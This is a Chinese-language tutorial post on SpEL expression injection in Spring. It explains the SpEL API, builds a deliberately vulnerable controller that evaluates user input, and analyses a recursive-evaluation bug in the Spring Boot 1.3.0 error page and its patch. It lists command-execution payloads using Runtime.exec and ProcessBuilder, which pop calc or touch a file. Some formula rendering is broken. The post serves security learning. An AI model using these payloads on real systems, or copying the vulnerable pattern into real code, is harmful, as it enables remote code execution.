spel表达式注入[通俗易懂]

2022-10-01 14:42:38 浏览数 (1)

大家好,又见面了,我是你们的朋友全栈君。

pom.xml中添加

代码语言:javascript复制
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-expression</artifactId>
    <version>5.0.8.RELEASE</version>
</dependency>

测试

代码语言:javascript复制
package com.example.demo.SpELTest;
 
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
 
public class SpELTest {
    public static void main(String[] args) {
        // 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现
        ExpressionParser parser = new SpelExpressionParser();
        // 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象
        Expression expression = parser.parseExpression("('Hello'   ' FreeBuf').concat(#end)");
        // 构造上下文:准备比如变量定义等等表达式需要的上下文数据
        EvaluationContext context = new StandardEvaluationContext();
        context.setVariable("end", "!");
        // 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值
        System.out.println(expression.getValue(context));
    }
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5HXXGZyp-1638411441416)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7H2DMwnJF8FLtDspCXP7At3UYbKawwmpXELMW0V7D8EibOhhzYhLGhWA/640?wx_fmt=png)]

SpEL主要接口

===============

1.ExpressionParser接口:表示解析器,默认实现是org.springframework.expression.spel.standard 包中的 SpelExpressionParser 类,

使用 parseExpression 方法将字符串表达式转换为 Expression 对象;ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符;

代码语言:javascript复制
public interface ExpressionParser {  
    Expression parseExpression(String expressionString);  
    Expression parseExpression(String expressionString, ParserContext context);  
}

事例demo

代码语言:javascript复制
package com.example.demo.SpELTest;
 
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.ParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
 
public class ExpressionParserTest {
    public static void main(String[] args) {
        ExpressionParser parser = new SpelExpressionParser();
        // 此处定义了 ParserContext 实现:定义表达式是模块,表达式前缀为 #{ ,后缀为 }
        // 使用 parseExpression 解析时传入的模板必须以 #{ 开头,以 } 结尾
        ParserContext parserContext = new ParserContext() {
            @Override
            public boolean isTemplate() {
                return true;
            }
            @Override
            public String getExpressionPrefix() {
                return "#{";
            }
            @Override
            public String getExpressionSuffix() {
                return "}";
            }
        };
        String template = "#{'hello '}#{'freebuf!'}";
        Expression expression = parser.parseExpression(template, parserContext);
        System.out.println(expression.getValue());
    }
}

2.EvaluationContext接口:表示上下文环境

默认实现是:

org.springframework.expression.spel.support 包中的StandardEvaluationContext 类。

使用 setRootObject 方法来设置根对象;使用 setVariable 方法来注册自定义变量;使用 registerFunction 来注册自定义函数等等。

3.Expression接口:表示表达式对象

默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpression ,提供 getValue 方法用于获取表达式值;提供 setValue 方法用于设置对象值。

SpEL语法

  1. 类类型表达式:使用 T(Type) 来表示 java.lang.Class 实例,这里 Type 必须是类全限定名(java.lang 包除外,该包下的类可以不指定包名,如 String、Integer);

使用类类型表达式还可以进行访问类静态方法及类静态字段。

具体使用方法:

代码语言:javascript复制
package com.example.demo.SpELTest;
 
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
 
public class SpELTest1 {
    public static void main(String[] args) {
        ExpressionParser parser = new SpelExpressionParser();
        // 使用 T(Type) 来表示 java.lang.Class 实例,这里 Type 必须是类全限定名(java.lang 包除外,该包下的类可以不指定包名,如 String、Integer)
        // java.lang 包类访问,不用全名
        Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);
        System.out.println("result1:"   result1);
 
        // 其他包类访问,需要指定包名
        String expression2 = "T(java.lang.Runtime).getRuntime().exec('calc')";
        Class<Object> result2 = parser.parseExpression(expression2).getValue(Class.class);
        System.out.println("result2:"   result2);
 
        // 类静态字段访问
        int result3 = parser.parseExpression("T(Integer).MAX_VALUE").getValue(int.class);
        System.out.println("result3:"   result3);
 
        // 类静态方法调用
        int result4 = parser.parseExpression("T(Integer).parseInt('1')").getValue(int.class);
        System.out.println("result4:"   result4);
    }
}
  1. 类实例化:类实例化同样使用 java 关键字 new ,类名必须是全限定名,但 java.lang 包内的类型除外,如 String、Integer 。
  2. instanceof 表达式:SpEL 支持 instanceof 运算符,跟 Java 内使用同义,如:

‘haha’ instanceof T(String) 将返回 true 。

  1. 变量定义以及引用变量定义通过 EvaluationContext 接口的 setVariable(variableName, value) 方法定义,在表达式中使用”#variableName”引用;

除了引用自定义变量,SpEL 还允许引用根对象及当前上下文对象,使用”#root”引用根对象,使用”#this”引用当前上下文对象。

  1. 自定义函数:目前只支持类静态方法注册为自定义函数;

SpEL 使用 StandardEvaluationContext 的 registerFunction 方法进行注册自定义函数,其实完全可以使用 setVariable 代替,两者其实本质是一样的。

SpEL测试

C:UserszDesktopjavaSpELdemosrcmainjavacomexampledemotest.java

代码语言:javascript复制
package com.example.demo;
 
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
 
@RestController
public class test {
    @RequestMapping("/spel")
    @ResponseBody
    public String spel(String input) {
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(input);
        return expression.getValue().toString();
    }
}
代码语言:javascript复制
http://127.0.0.1:8080/spel?input=2*2

 
New java.lang.ProcessBuilder("calc").start()
http://127.0.0.1:8080/spel?input=new java.lang.ProcessBuilder("calc").start()
T(java.lang.Runtime).getRuntime().exec("calc")
http://127.0.0.1:8080/spel?input=T(java.lang.Runtime).getRuntime().exec("calc")

Linux

代码语言:javascript复制
new ProcessBuilder(new String[]{"touch","/tmp/111"}).start();

真实漏洞分析

漏洞环境用的p神的javacon,将spring-boot-2.1.0替换为spring-boot-1.3.0即可

C:UserszDesktopjavaSpELjavaconadmin-panelsrcmainjavaiotrickingchallengetest.java

写个简单的demo来测试:

这里直接将用户的输入抛出了个异常,访问之后就是一个Spring Boot熟悉的错误页面

这个环境中,如果是这种

http://127.0.0.1:8080/spel?payload=1*2

则不能解析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Gqccz8WC-1638411441424)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7299DogeFSCcWwQ0HaahzwkTdARvKjVlPHgPbxvdWlibKpWdZTb2nibsw/640?wx_fmt=png)]

调试

其造成的原因主要是在ErrorMvcAutoConfiguration.java中的SpelView类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LTCnnsrl-1638411441426)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7ic6yacZmibcVdILWzOm4Zy4I5x0ofxh0aoq3NxHkjNH0udfo2AwXmgBA/640?wx_fmt=png)]

可以看到是在this.helper.replacePlaceholders(this.template, this.resolver)中生成了错误页面,然后返回给result。

跟进replacePlaceholders()

跟进parseStringValue()

这时可以看到,while循环中,循环解析xxx的表达式

例如第一个解析到 {timestamp} ,取出中间的值,然后通过 resolvePlaceholder() 函数进行spel解析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gDmqJqhv-1638411441430)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7kPLQch9IMsGDhfkBuALcZKWtcg4ZhR1H5dyVneWrKJetnbwssMsaHg/640?wx_fmt=png)]

下一个,error,一直到message

跟进

spring-boot-autoconfigure-1.3.0.RELEASE.jar!/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.class#resolvePlaceholder()

处理message时,resolvePlaceholder函数中,value的值为输入的payload参数值,在返回时经过了一层HtmlUtils.htmlEscape,相当于是html编码。

返回到

PropertyPlaceholderHelper.class#parseStringValue()

值给到propVal

接下来就是递归函数,因为会存在 KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: { {1*2}} 的情况,所以在解析完一层过后会判断是否包含 ${} ,如果包含那么就会递归函数

换成

http://127.0.0.1:8080/spel?payload=KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: { {1*2}}

继续调试,直接来到这一步

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NWNWACgu-1638411441434)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7pExsiavhN19vZfj72FjDg2dgKflC1JNnuVT0ib1GXsvtqXv8aomvR7eA/640?wx_fmt=png)]

看到了吗,递归的小图标

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PsJp0pAR-1638411441434)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR74Via6r9FLUt4nA5tQJnG2PibGuyiaJOl51C0Kt7kRa12sVMayUNj5ogeQ/640?wx_fmt=png)]

递归处理

KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: { {1*2}} 变成 ${1*2}

再次进入parseStringValue()

${1*2} 变成 1*2

下边再次进入resolvePlaceholder()

解析表达式

修复

补丁创建了一个新的NonRecursivePropertyPlaceholderHelper类,用于防止parseStringValue进行递归解析。

resolvePlaceholder的功能由代码看出,如果是第一次调用则正常执行resolvePlaceholder这个函数,如果此次调用类为NonRecursivePlaceholderResolver的话将会返回null

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/194788.html原文链接:https://javaforall.cn

0 人点赞